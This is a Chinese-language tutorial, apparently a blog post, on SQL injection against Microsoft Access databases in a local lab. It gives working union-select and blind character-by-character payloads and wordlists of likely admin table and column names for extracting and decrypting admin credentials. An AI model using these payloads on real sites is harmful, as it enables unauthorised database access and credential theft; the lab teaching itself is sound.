SQL注入--Access注入

一.基本概念

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

Access数据库跟mysql、mssql、Oracle等数据库不一样,它就是一个独立的数据库,并不像mysql这些数据库有自带的数据库(mysql中的information_schema),所以我们在进行注入的时候需要用到不一样的方法。

常见语言和数据库搭配:

  • asp+access
  • php+mysql
  • aspx+mssql
  • jsp+mssql,Oracle
  • python+mangodb,mysql

二.靶场搭建

将压缩包xxf5.0.3.4.zip​解压后,然后将解压后的文件复制到windows7虚拟机进行安装,然后将leichinews.zip​解压,放到wwwroot​目录里,在浏览器访问即可。

三.攻击流程

方法1:联合查询

1.判断注入点

一般来说单引号、减号、and等就可以判断是否存在注入(查看是否返回错误信息)

2.判断列数
  • 使用order by语句

    • 字符型

      • -1' order by 3%23:正常
      • -1' order by 5%23:不正常
    • 数字型

      • -1 order by 11:正常
      • -1 order by 22:不正常
3.判断回显位置

常见表名

admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,m

anage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,

UserGroups,user_list,login,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo

构造语句:-1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

  • mysql数据库中union select 后面不需要跟上from+表名​,access数据库中需要给一个表名,但是由于Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

  • 知道存在admin表,并且回显位置在2,3位

  • PS:from+表名,返回正常则说明有该表存在,返回错误则说明没有该表。

4.判断列名

常见列名

username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,

pass-wd,yonghu,id,uid,userid,user_id,adminid,admin_id,login_name

构造语句:-1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin


  • 成功得到账号密码,接下来可以登录后台,但是发现利用得到的账号密码无法登录,这是因为得到的password字段是经过了加密,使用"雷驰加密解密"工具解密得到原文为admin


方法2:逐字猜解

1.猜表名

构造语句:-1 and exists (select * from admin) 页面正常说明存在admin表

2.猜列名

构造语句:-1 and exists (select admin from admin) 页面正常,说明存在admin表里存在名为admin的列

3.猜字段内容长度

构造语句:-1 and (select top 1 len(admin) from admin)=5

  • top 1为查询结果只显示首条记录。
  • len为获取长度
4.获取字段内容
  • 获取字段内容第一位:-1 and (select top 1 asc(mid(admin,1,1)) from admin)=97页面正常则说明第一位的ASCII码值为97也就是a

    • mid(列名,起始位置,要返回的字符数)
  • 获取字段内容第二位:-1 and (select top 1 asc(mid(admin,2,1)) from admin)=97

相关推荐
一只栖枝2 分钟前
关于OCP认证:有Oracle和MySQL两种
数据库·mysql·oracle·开闭原则·数据管理·ocp认证
灏瀚星空12 分钟前
从基础到实战的量化交易全流程学习:1.3 数学与统计学基础——概率与统计基础 | 基础概念
笔记·python·学习·金融·概率论
小Tomkk15 分钟前
StarRocks SRCA 考试心得总结
数据库·数据库 starrocks·srca
一夜沐白16 分钟前
Linux用户管理
linux·运维·服务器·笔记
千千寰宇24 分钟前
[数据库/SQL] 浅谈DDL、DSL、DCL、DML、DQL
数据库
无敌的牛26 分钟前
AVL树的介绍与学习
数据结构·学习
【0931】36 分钟前
进程控制的学习
学习·操作系统
阿图灵38 分钟前
文章记单词 | 第48篇(六级)
学习·学习方法
triticale41 分钟前
《人件》第三章 正确的人
笔记
宁建利1 小时前
树莓派学习专题<11>:使用V4L2驱动获取摄像头数据--启动/停止数据流,数据捕获,缓存释放
学习